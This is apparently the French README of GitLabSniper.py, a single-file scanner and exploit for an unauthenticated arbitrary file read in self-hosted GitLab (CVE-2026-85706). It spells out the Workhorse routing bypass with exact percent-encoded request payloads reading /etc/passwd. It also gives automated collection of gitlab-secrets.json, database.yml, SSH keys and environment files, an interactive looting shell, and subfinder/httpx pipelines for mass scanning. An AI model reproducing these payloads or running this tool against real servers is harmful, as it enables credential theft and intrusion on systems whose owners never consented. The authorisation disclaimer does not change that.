
Scanner et exploit Python en un seul fichier pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE auto-hébergé, avec énumération de projets, chemins de collecte et un shell interactif.
CVE-2026-85706 — lecture arbitraire de fichiers non authentifiée sur GitLab CE/EE
détection · énumération de projets publics · collecte · shell interactif · pipeline subfinder/httpx
Auteur : Yunus Emre Öztaş (mitsec)
X : x.com/ynsmroztas
GitHub : github.com/ynsmroztas
Site : ynsmroztas.github.io
Mail : [email protected]
À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test (bug bounty / VDP / contrat écrit).
GitLabSniper.py est un scanner/exploit Python en un seul fichier pour CVE-2026-85706 : une lecture de fichier locale non authentifiée dans les éditions Community et Enterprise de GitLab auto-hébergé.
Il ne s'arrête pas à « la version semble affectée ». Il déclenche le contournement par différentiel d'analyseur de Workhorse, classe la réponse de Rails, et n'affiche FILE LEAK que lorsque le corps de la réponse 400 contient les octets du fichier à l'intérieur de invalid %-encoding (...).
| Bande | Versions |
|---|---|
| Affectées | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Corrigées | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Hors périmètre | gitlab.com · GitLab Dedicated |
Trois endpoints de dépôt se trouvent derrière le requestBodyUploader de Workhorse :
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails prend le champ brut file.path et exécute File.open avant authenticate!. require_gitlab_workhorse! n'est pas une véritable barrière ici : Workhorse appose déjà un JWT Gitlab-Workhorse-Api-Request valide sur tout ce qu'il proxifie.
Workhorse était censé réécrire l'upload au préalable. Sa regex de route correspond à EscapedPath() et à un clone path.Clean qui ne décode jamais le pourcentage. Puma, lui, décode %XX avant le routage Grape.
Attaquant
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← le slash final passe aussi
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse la regex voit "%63ommits" / "commits/" → ÉCHEC (pas de réécriture)
│
▼
Puma décode %63 → commits → ROUTE vers Rails
│
▼
Rails File.open(params[:file][:path]) → AVANT l'auth
│
▼
Rack parse_nested_query(File.read(path))
"%" isolé qui n'est pas %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<octets bruts du fichier>)
file= vide satisfait requires :file, WorkhorseFile (vide → nil). Le canal de fuite est la branche urlencoded. JSON/Oj ne renvoie pas les octets du fichier de la même manière — l'outil envoie toujours Content-Type=application/x-www-form-urlencoded.
//, /./, %2F et ; ne contournent pas : path.Clean normalise les deux premiers et Puma rejette %2F.
L'id de projet n'est pas « quel dépôt voler ». file.path est un chemin serveur absolu. L'id n'est que le fragment d'URL qui atteint le contrôleur vulnérable.
| Endpoint | Exigence de projet |
|---|---|
files (%66iles) | N'importe quel id fonctionne souvent — File.open est avant les vérifications de projet |
commits (%63ommits, commits/, commits.json) | Nécessite un projet qu'un utilisateur anonyme peut read_code. Sinon 404 Project Not Found |
C'est pourquoi l'outil énumère GET /api/v4/projects et ignore les ids restreints.
Une fuite confirmée exige cette sous-chaîne dans le corps :
invalid %-encoding (
Les fichiers sans % isolé peuvent tout de même être ouverts (read-noecho / plus tard branch is required) mais ne seront pas renvoyés. C'est un oracle, pas un dump exploitable.
x-gitlab-* / sign-in) + plage de versions lorsqu'elle est visibleGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles.jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute--auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, clés ssh, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI supprimé-o)pip install requests
python3 GitLabSniper.py -h
Python 3.10+. Aucune autre dépendance.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin n'est pas un TTY → --pipe est implicite
cat hosts.txt | python3 GitLabSniper.py --auto
L'analyseur accepte :
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json (url / status_code)host et host:port bruts[0] / timeout / vides